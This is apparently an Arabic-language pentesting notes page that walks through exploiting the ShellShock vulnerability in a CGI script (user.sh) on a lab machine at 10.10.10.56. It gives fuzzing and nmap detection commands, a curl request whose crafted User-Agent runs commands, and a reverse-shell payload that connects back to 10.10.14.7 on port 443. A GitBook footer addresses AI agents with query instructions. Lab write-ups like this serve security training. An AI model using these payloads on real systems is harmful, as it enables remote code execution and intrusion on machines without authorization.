> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/shellshock-attack/shellshock-user.sh-pentesting-web.md).

# ShellShock user.sh

## شيل شوك

#### البحث عن الملفات القابلة للاستغلال

نقوم بتصفية الملفات ذات الامتدادات مثل `.sh`, `.pl`، أو `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z

```

الـ **user.sh** تم التعرف على الملف. يبدو أن هذا السكربت ديناميكي وقد يكون عرضة للثغرة.

<figure><img src="/files/eccb6a518982c5948c489effcca7c2d91e278c94" alt=""><figcaption></figcaption></figure>

#### اكتشاف الثغرة

نستخدم سكربت Nmap أدناه لاختبار الثغرة:

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56

```

يؤكد الفحص أن الملف **user.sh** معرّض لثغرة ShellShock.

<figure><img src="/files/91d572298ad21e0aa7895f2c6dd877ad934c89cf" alt=""><figcaption></figcaption></figure>

#### تنفيذ الأوامر

لاختبار تنفيذ الأوامر، نستخدم **curl** مع User-Agent خبيث:

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () {:; }; echo; /usr/bin/whoami"

```

هذا يعيد اسم المستخدم النشط.

<figure><img src="/files/0b94e179a153a0594de36d519c5a314225b44bf5" alt=""><figcaption></figcaption></figure>

#### شل عكسي

للحصول على reverse shell:

1. استمع على المنفذ 443:

```bash
nc -nlvp 443

```

2. حقن الحمولة أدناه:

{% code overflow="wrap" %}

```bash
-H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"

```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () {:; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"

```

<figure><img src="/files/9af3aa4243805d01d6b75ae36e199f5e1d895c7a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/shellshock-attack/shellshock-user.sh-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
